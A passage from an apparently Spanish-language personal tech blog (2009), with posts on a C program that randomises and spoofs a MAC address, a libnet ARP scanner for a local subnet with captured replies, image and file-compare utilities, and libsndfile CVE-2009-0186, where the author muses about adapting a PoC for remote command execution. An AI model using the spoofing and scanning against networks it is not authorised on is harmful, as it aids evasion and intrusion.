       register unsigned char *t =(char*) &mac;
       srandomdev();
       mac[0] = random();
       mac[1] = random();
       printf("%x:%x:%x:%x:%x:%x\n",t[0],t[1],t[2],t[3],t[4],t[5]);
       return 0;
}
 

Después de compilarlo y ejecutarlo:

Código
Anon@localhost# gcc -o macRandom macRandom.c
Anon@localhost# ./macRandom
86:1e:cc:23:d4:6
 

Vemos la salida de las direcciones mac Aleatorias con las cuales podemos configurar nuestra interfaz de red para que cada vez que nos conectemos tengamos una dirección "Física" Diferente.

En mi caso con FreeBSD se realiza así:

Citar
Anon@localhost# ifconfig wpi0 ether `./macRandom `

Donde wpi0 se cambia por la interfaz que sea de tu sistema, y el resultado:

Código
Anon@localhost# ifconfig wpi0
wpi0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500
ether 34:5d:e8:74:e9:41
media: IEEE 802.11 Wireless Ethernet autoselect (autoselect)
status: no carrier
ssid "" channel 1 (2412 Mhz 11b)
authmode OPEN privacy OFF txpower 50 bmiss 7 scanvalid 60 bintval 0
Anon@localhost# ifconfig wpi0 ether `./macRandom `
Anon@localhost# ifconfig wpi0
wpi0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500
ether 4c:1e:0f:5e:a6:c2
media: IEEE 802.11 Wireless Ethernet autoselect (autoselect)
status: no carrier
ssid "" channel 1 (2412 Mhz 11b)
authmode OPEN privacy OFF txpower 50 bmiss 7 scanvalid 60 bintval 0
 
 

Mirar que cambio la Dirección "Física".

Saludos.

--
- Anon

libnet: Consultas ARP

Bueno anteriormente en un post Consultas RARP estaba buscando un programa para saber que IP tenia determinada Dirección MAC, ya que dicha dirección la había observado un dia antes y ese dia ya no aparecía en los escaneos de nmap.

Pues buscando no encontré un programa para realizar dicho trabajo después de un tiempo decidí hacer yo mismo dicha aplicación usando libnet, y pues aplicar un poco de fuerza bruta.

Escanee todo el rango de direcciones de la red y logre mi objetivo, sin embargo descubrí que mas de una misma maquina tenia dicha IP todo esto en el mismo Segmento, cosa que podría crear conflictos. Sin embargo después de analizarlo un poco supuse que era para equilibrar la carga de salido o algo así.

El siguiente código escanea un rango especifico de red (Ingresado manualmente) y las respuesta de momento las vemos usando snort o wireshark despues lo reprogramare para usar libpcap y capturar las respuestas

arpscan.c
Código
#include<libnet.h>
#include<stdio.h>
 
int main(void)  {
       int n;
       u_int8_t c;                                                     //contador
       u_int32_t src_ip;                                               // Para nuestra direccion  IP
       u_int8_t *dts_ip;                                               // Para la direccion IP Destino
       libnet_t *l;                                                    // The libnet context
       libnet_ptag_t t=0,arp = 0;                                      // ptag
       char *device = NULL;                                            //Primera Interfas de Red ~Sup~T que se pueda encontrar
       u_int8_t *packet;                                               //Apuntador al Paquete
       u_int32_t packet_s;                                             //Packet Size
       u_char difucion[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};      //Direccion de Destino "Difusion Ethernet"
       u_char zero[6] = {0x0,0x0,0x0,0x0,0x0,0x0};                     //Direccion Zero
       struct libnet_ether_addr *origen;                               //Nuestra MAC
       char *lib_error = malloc(sizeof(char)*LIBNET_ERRBUF_SIZE);      //Reservamos Memoria para los mensajes de Errores
       dts_ip = (u_int8_t*) malloc(sizeof(u_int8_t)*4);
       dts_ip[0] = 192;
       dts_ip[1] = 168;
       dts_ip[2] = 1;
       l = libnet_init(
               LIBNET_LINK_ADV,                        //injection type
               device,                                 //network interface
               lib_error);                             //errbuf
 
       if (l == NULL)  {
               fprintf(stderr, "libnet_init(): %s", lib_error);
               exit(EXIT_FAILURE);
       }
       src_ip = libnet_get_ipaddr4(l);                 //Obtenemos Direccion IP
       origen = libnet_get_hwaddr(l);                  //Obtenetmos Nuestra MAC
       c = 1;
       while(c<255)    {
               dts_ip[3] = c;
               arp = libnet_build_arp(
                       ARPHRD_ETHER,                   /* hardware addr */
                       ETHERTYPE_IP,                   /* protocol addr */
                       6,                              /* hardware addr size */
                       4,                              /* protocol addr size */
                       ARPOP_REQUEST,                  /* operation type */
                       origen->ether_addr_octet,       /* sender hardware addr */
                       (u_int8_t *)&src_ip,            /* sender protocol addr */
                       zero,                   /* target hardware addr */
                       dts_ip,                         /* target protocol addr */
                       NULL,                           /* payload */
                       0,                              /* payload size */
                       l,                              /* libnet context */
                       arp) ;                          /* libnet id */
               if(arp==-1)     {
                       fprintf(stderr,"libnet_build_arp(): %s",libnet_geterror(l));
                       goto bad;
               }
               t = libnet_build_ethernet(
                       difucion,
                       zero,
                       ETHERTYPE_ARP,
                       NULL,
                       0,
                       l,
                       t);
               if(t==-1)       {
                       fprintf(stderr,"libnet_build_ethernet(): %s",libnet_geterror(l));
                       goto bad;
               }
               if(libnet_adv_cull_packet(l,&packet,&packet_s)==-1)     {
                       fprintf(stderr,"libnet_adv_cull_packet(): %s",libnet_geterror(l));
               }
               else    {
                       fprintf(stderr,"Packet size: %d\n",packet_s);
                       libnet_adv_free_packet(l,packet);
               }
               if((n=libnet_write(l))== -1)    {
                       fprintf(stderr,"Write error: %s\n",libnet_geterror(l));
                       goto bad;
               }
               else    {
                       fprintf(stderr,"Wrote %d bytes ARP packet from context %s check the wire\n",n,libnet_cq_getlabel(l));
               }
               c++;
       }
       libnet_destroy(l);
       return(EXIT_SUCCESS);
       bad:
       libnet_destroy(l);
       return(EXIT_SUCCESS);
}
 

Despues de compilarlo:

Código
Anon@localhost# gcc -Wall `libnet113-config --defines` arpscan.c -o arpscan `libnet113-config --libs` -I /usr/local/include/libnet113/
 

ejecutamos y vemos que la salida de snort nos devuelve el resultado deceado

Citar
06/11-09:58:29.910702 ARP who-has 192.168.5.1 tell 192.168.5.238
06/11-09:58:29.910914 ARP reply 192.168.5.1 is-at 0:3:47:B0:F9:C1
06/11-09:58:29.910919 ARP reply 192.168.5.1 is-at 0:30:F1:53:91:93
06/11-09:58:29.911008 ARP reply 192.168.5.1 is-at 0:50:FC:B6:F4:26
06/11-09:58:29.911012 ARP reply 192.168.5.1 is-at 0:B:CD:C5:5C:3F
06/11-09:58:29.912326 ARP who-has 192.168.5.2 tell 192.168.5.238
06/11-09:58:29.919400 ARP who-has 192.168.5.3 tell 192.168.5.238
06/11-09:58:29.919442 ARP who-has 192.168.5.4 tell 192.168.5.238
06/11-09:58:29.919471 ARP who-has 192.168.5.5 tell 192.168.5.238
06/11-09:58:29.919499 ARP who-has 192.168.5.6 tell 192.168.5.238
06/11-09:58:29.919528 ARP who-has 192.168.5.7 tell 192.168.5.238
06/11-09:58:29.919557 ARP who-has 192.168.5.8 tell 192.168.5.238
06/11-09:58:29.919585 ARP who-has 192.168.5.9 tell 192.168.5.238
06/11-09:58:29.919614 ARP who-has 192.168.5.10 tell 192.168.5.238
06/11-09:58:29.919642 ARP who-has 192.168.5.11 tell 192.168.5.238
06/11-09:58:29.919670 ARP who-has 192.168.5.12 tell 192.168.5.238
06/11-09:58:29.919751 ARP who-has 192.168.5.13 tell 192.168.5.238
06/11-09:58:29.919762 ARP reply 192.168.5.8 is-at 0:D:61:3F:2D:77
06/11-09:58:29.919843 ARP reply 192.168.5.11 is-at 0:20:ED:1D:89:6B
06/11-09:58:29.919882 ARP who-has 192.168.5.14 tell 192.168.5.238
06/11-09:58:29.919910 ARP who-has 192.168.5.15 tell 192.168.5.238
06/11-09:58:29.920393 ARP reply 192.168.5.14 is-at B6:7C:AE:85:11:0
06/11-09:58:29.927297 ARP who-has 192.168.5.16 tell 192.168.5.238
06/11-09:58:29.932246 ARP who-has 192.168.5.17 tell 192.168.5.238
06/11-09:58:29.951634 ARP who-has 192.168.5.18 tell 192.168.5.238
06/11-09:58:29.952942 ARP who-has 192.168.5.19 tell 192.168.5.238
06/11-09:58:29.953077 ARP reply 192.168.5.19 is-at 0:11:85:AE:8C:D

En mi caso esa ocacion ecnontre dicha mac y si era la IP que el dia anterior, pero como mencione decubri que existian 4 Direcciones MAC con la misma Direccion IP

Citar
06/11-09:58:29.910702 ARP who-has 192.168.5.1 tell 192.168.5.238
06/11-09:58:29.910914 ARP reply 192.168.5.1 is-at 0:3:47:B0:F9:C1
06/11-09:58:29.910919 ARP reply 192.168.5.1 is-at 0:30:F1:53:91:93
06/11-09:58:29.911008 ARP reply 192.168.5.1 is-at 0:50:FC:B6:F4:26
06/11-09:58:29.911012 ARP reply 192.168.5.1 is-at 0:B:CD:C5:5C:3F

Como los equipos siempre responden a ARP, se puede considerar como una petición mucho mejor que el ICMP ya que en ocasiones este es bloqueado por "seguridad"
Con lo cual se me ocurrieron muchas ideas, sin embargo eso eso otro tema.

Saludos.
--
- Anon

sábado, 7 de marzo de 2009

Herramienta (jpgtn): Crear Thumbnails de Imagenes JPEG

Bueno una excelente herramienta herramienta que existe para crear imagnes Thumbnails apartir de los archivos Originales de una menera automatica es la herramienta jpgtn con ella podremos generar Thumbnails de todo un subdiretorio por ejemplo:

codigo:
Anon@localhost % jpgtn -p "tn_" -d "tn/" *.jpg

Segun vemos algunos ejemplos en la pagina man de la utilidad:

EXAMPLES
       To create thumbnails of all the '.jpg' files in the  current  directory
       and  output them to the current directory with the default prefix "tn_"
       use:

       $ jpgtn *.jpg

       To do the same thing as above, but to put the thumbnails in  './thumbs'
       use:

       $ jpgtn -d "./thumbs/" -p "tn_" *.jpg

Esto es perfecto para generar vistas en miniatura de wallpapers y algunas otroas imagenes que queramos.

Saludos.

--
- Anon


viernes, 6 de marzo de 2009

Comparar archivos en windows

Bueno después de buscar alternativas para la comparación de archivos en windows encontré windiff y fc:

el primero es visual, y el según es mas al estilo de diff pero con el formato de windows

esto es una soluciona a: "comp" en WIndows una verdadera porqueria

Al principio pensé que comp era la utilidad de windows para hacerlo, pero después me dijieron que no que lo era fc y pues veo que ese si funciona.

Windiff:



fc:



con esto ya soluciono el asunto de comparar archivos en windows.

Saludos.

--
- Anon

jueves, 5 de marzo de 2009

"comp" en WIndows una verdadera porqueria

Pues trataba yo de comprar los archivos con la falla CVE-2009-0186 para ver cuales era las diferencias y como mi laptop esta descompuesta no tengo en este momento a FreeBSD, tratando de hacerlo en windows vi que existia la utilidad comp trate de usarlo y me decepciono.

Ayuda de comp

Citar
C:\Users\Anon>help comp
Compara el contenido de dos archivos o conjuntos de archivos.

COMP [datos1] [datos2] [/D] [/A] [/L] [/N=número] [/C] [/OFF[liNE]]

  datos1      Especifica la ubicación y los nombres de los primeros archivos
              que se van a comparar.
  datos2      Especifica la ubicación y los nombres de los segundos archivos
              que se van a comparar.
  /D          Muestra las diferencias en formato decimal. Esta es la
              configuración predeterminada.
  /A          Muestra las diferencias en caracteres ASCII.
  /L          Muestra los números de línea para las diferencias.
  /N=número   Compara sólo el número de líneas especificado de cada archivo.
  /C          Omite las mayúsculas/minúsculas de ASCII al comparar archivos.
  /OFF[liNE]  No omite archivos con el atributo "sin conexión" establecido.

Para comparar conjuntos de archivos, use comodines en datos1 y datos2.

Prueba de compracion

Código:
C:\Users\Anon>comp libsndfile-1.0.18\src\caf.c libsndfile-1.0.19\src\caf.c /C /L /A
Comparando libsndfile-1.0.18\src\caf.c y libsndfile-1.0.19\src\caf.c...
Los archivos tienen tamaños diferentes.

¿Desea comparar más archivos (S/N) ? N

C:\Users\Anon>

mmm

Citar
Comparando libsndfile-1.0.18\src\caf.c y libsndfile-1.0.19\src\caf.c...
Los archivos tienen tamaños diferentes.


Que mierda de utilidad tendre que buscar un diff para windows o algun gestor visual de diferencias entre archivos.

Saludos

--
- Anon

miércoles, 4 de marzo de 2009

libsndfile 1.0.18 CAF Processing Integer Overflow Vulnerability

Previamente en Winamp <= 5.541, libsndfile <= 1.0.17 AIFF buffer unverified se corrigio una falla en la libreria y ahora sale nuevamente otra version.

Pues no acabando con las fallas en libsndfile (Usada por xmms, winamp y algunos otros reproductores).
Recientemente el 7 de febrero se habia parcheado una vulnerabilidad y ahora hace unos 2 dias sale a la luz una nueva versión de dicha libreria:

Código:
# Version 1.0.18 (Feb 07 2009) Add Ogg/Vorbis suppport, remove captive libraries, many new features and bug fixes. Generate Win32 and Win64 pre-compiled binaries.
# Version 1.0.19 (Mar 02 2009) Fix for CVE-2009-0186. Huge number of minor fixes as a result of static analysis.

http://www.mega-nerd.com/libsndfile/

No se si alguna version de winamp hubiese salido entre las dos fechas anteriores sin embargo y si salio cargada con la nueva libreria tambien es vulnerable.
Y segun la pagina si podriamos ejecutar codigo con la falla

El bug al parecer si se puede aprovechar de manera remota secunia ha reportado esto y tiene ya su CVE-2009-0186 lo interesante seria buscar un PoC y modificarlo para ejecutar comandos de manera remota, estare investigando los cambios en el codigo fuente de ambas versiones vere sobre la falla.

Saludos

--
- Anon

Populares Siempre